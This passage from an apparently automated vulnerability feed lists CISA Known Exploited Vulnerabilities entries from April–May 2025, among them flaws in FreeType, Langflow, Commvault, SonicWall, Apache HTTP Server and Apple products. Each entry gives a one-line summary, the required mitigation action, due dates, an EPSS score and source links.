exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-27363","cveId":"CVE-2025-27363","aliases":[],"kind":"vulnerability","title":"FreeType Out-of-Bounds Write Vulnerability","summary":"FreeType contains an out-of-bounds write vulnerability when attempting to parse font subglyph structures related to TrueType GX and variable font files that may allow for arbitrary code execution.","detail":"CISA added this entry on 2025-05-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-06","updatedAt":null,"regions":["Global"],"vendor":"FreeType","product":"FreeType","stacks":["FreeType"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-06","dueAt":"2025-05-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.27775,"percentile":0.98077,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-27363&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-27363","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-27363 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-27363&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-27363, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-3248","cveId":"CVE-2025-3248","aliases":[],"kind":"vulnerability","title":"Langflow Missing Authentication Vulnerability","summary":"Langflow contains a missing authentication vulnerability in the /api/v1/validate/code endpoint that allows a remote, unauthenticated attacker to execute arbitrary code via crafted HTTP requests.","detail":"CISA added this entry on 2025-05-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-05","updatedAt":null,"regions":["Global"],"vendor":"Langflow","product":"Langflow","stacks":["LangChain and Langflow","Langflow"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-05","dueAt":"2025-05-26","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99993,"percentile":0.99987,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-3248&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-3248","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-3248 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-3248&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-3248, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-58136","cveId":"CVE-2024-58136","aliases":[],"kind":"vulnerability","title":"Yiiframework Yii Improper Protection of Alternate Path Vulnerability","summary":"Yii Framework contains an improper protection of alternate path vulnerability that may allow a remote attacker to execute arbitrary code. This vulnerability could affect other products that implement Yii, including—but not limited to—Craft CMS, as represented by CVE-2025-32432.","detail":"CISA added this entry on 2025-05-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-02","updatedAt":null,"regions":["Global"],"vendor":"Yiiframework","product":"Yii","stacks":["Yiiframework","Yii"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-02","dueAt":"2025-05-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87757,"percentile":0.99758,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-58136&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-58136","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-58136 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-58136&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-58136, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-34028","cveId":"CVE-2025-34028","aliases":[],"kind":"vulnerability","title":"Commvault Command Center Path Traversal Vulnerability","summary":"Commvault Command Center contains a path traversal vulnerability that allows a remote, unauthenticated attacker to execute arbitrary code.","detail":"CISA added this entry on 2025-05-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-02","updatedAt":null,"regions":["Global"],"vendor":"Commvault","product":"Command Center","stacks":["Commvault","Command Center"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-02","dueAt":"2025-05-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97604,"percentile":0.99901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-34028&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-34028","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-34028 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-34028&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-34028, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-44221","cveId":"CVE-2023-44221","aliases":[],"kind":"vulnerability","title":"SonicWall SMA100 Appliances OS Command Injection Vulnerability","summary":"SonicWall SMA100 appliances contain an OS command injection vulnerability in the SSL-VPN management interface that allows a remote, authenticated attacker with administrative privilege to inject arbitrary commands as a 'nobody' user.","detail":"CISA added this entry on 2025-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-01","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SMA100 Appliances","stacks":["SonicWall","SMA100 Appliances"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-01","dueAt":"2025-05-22","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7625,"percentile":0.99533,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-44221&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-44221","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-44221 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-44221&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-44221, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38475","cveId":"CVE-2024-38475","aliases":[],"kind":"vulnerability","title":"Apache HTTP Server Improper Escaping of Output Vulnerability","summary":"Apache HTTP Server contains an improper escaping of output vulnerability in mod_rewrite that allows an attacker to map URLs to filesystem locations that are permitted to be served by the server but are not intentionally/directly reachable by any URL, resulting in code execution or source code disclosure.","detail":"CISA added this entry on 2025-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-01","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"HTTP Server","stacks":["Apache HTTP Server","Apache","HTTP Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-01","dueAt":"2025-05-22","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99957,"percentile":0.99975,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38475&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38475","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38475 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38475&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38475, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-1976","cveId":"CVE-2025-1976","aliases":[],"kind":"vulnerability","title":"Broadcom Brocade Fabric OS Code Injection Vulnerability","summary":"Broadcom Brocade Fabric OS contains a code injection vulnerability that allows a local user with administrative privileges to execute arbitrary code with full root privileges.","detail":"CISA added this entry on 2025-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-04-28","updatedAt":null,"regions":["Global"],"vendor":"Broadcom","product":"Brocade Fabric OS","stacks":["Broadcom","Brocade Fabric OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-28","dueAt":"2025-05-19","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0069,"percentile":0.5252,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-1976&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-1976","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-1976 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-1976&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-1976, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-3928","cveId":"CVE-2025-3928","aliases":[],"kind":"vulnerability","title":"Commvault Web Server Unspecified Vulnerability","summary":"Commvault Web Server contains an unspecified vulnerability that allows a remote, authenticated attacker to create and execute webshells.","detail":"CISA added this entry on 2025-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-04-28","updatedAt":null,"regions":["Global"],"vendor":"Commvault","product":"Web Server","stacks":["Commvault","Web Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-28","dueAt":"2025-05-19","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02484,"percentile":0.84482,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-3928&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-3928","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-3928 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-3928&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-3928, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-42599","cveId":"CVE-2025-42599","aliases":[],"kind":"vulnerability","title":"Qualitia Active! Mail Stack-Based Buffer Overflow Vulnerability","summary":"Qualitia Active! Mail contains a stack-based buffer overflow vulnerability that allows a remote, unauthenticated attacker to execute arbitrary or trigger a denial-of-service via a specially crafted request.","detail":"CISA added this entry on 2025-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-04-28","updatedAt":null,"regions":["Global"],"vendor":"Qualitia","product":"Active! Mail","stacks":["Qualitia","Active! Mail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-28","dueAt":"2025-05-19","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03355,"percentile":0.88616,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-42599&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-42599","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-42599 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-42599&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-42599, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24054","cveId":"CVE-2025-24054","aliases":[],"kind":"vulnerability","title":"Microsoft Windows NTLM Hash Disclosure Spoofing Vulnerability","summary":"Microsoft Windows NTLM contains an external control of file name or path vulnerability that allows an unauthorized attacker to perform spoofing over a network.","detail":"CISA added this entry on 2025-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-04-17","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-17","dueAt":"2025-05-08","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.6227,"percentile":0.99175,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24054&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24054","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24054 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24054&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24054, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-31200","cveId":"CVE-2025-31200","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Memory Corruption Vulnerability","summary":"Apple iOS, iPadOS, macOS, and other Apple products contain a memory corruption vulnerability that allows for code execution when processing an audio stream in a maliciously crafted media file.","detail":"CISA added this entry on 2025-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-04-17","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-17","dueAt":"2025-05-08","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.20898,"percentile":0.97538,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-31200&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-31200","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-31200 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-31200&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-31200, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-31201","cveId":"CVE-2025-31201","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Arbitrary Read and Write Vulnerability","summary":"Apple iOS, iPadOS, macOS, and other Apple products contain an arbitrary read and write vulnerability that allows an attacker to bypass Pointer Authentication.","detail":"CISA added this entry on 2025-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-04-17","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-17","dueAt":"2025-05-08","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13863,"percentile":0.96504,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-31201&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-31201","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-31201 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-31201&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-31201, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-20035","cveId":"CVE-2021-20035","aliases":[],"kind":"vulnerability","title":"SonicWall SMA100 Appliances OS Command Injection Vulnerability","summary":"SonicWall SMA100 appliances contain an OS command injection vulnerability in the management interface that allows a remote authenticated attacker to inject arbitrary commands as a 'nobody' user, which could potentially lead to code execution.","detail":"CISA added this entry on 2025-04-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-04-16","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SMA100 Appliances","stacks":["SonicWall","SMA100 Appliances"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-16","dueAt":"2025-05-07","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04406,"percentile":0.91262,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-20035&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-20035","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-20035 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-20035&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-20035, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-53150","cveId":"CVE-2024-53150","aliases":[],"kind":"vulnerability","title":"Linux Kernel Out-of-Bounds Read Vulnerability","summary":"Linux Kernel contains an out-of-bounds read vulnerability in the USB-audio driver that allows a local, privileged attacker to obtain potentially sensitive information.","detail":"CISA added this entry on 2025-04-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-04-09","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-09","dueAt":"2025-04-30","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are 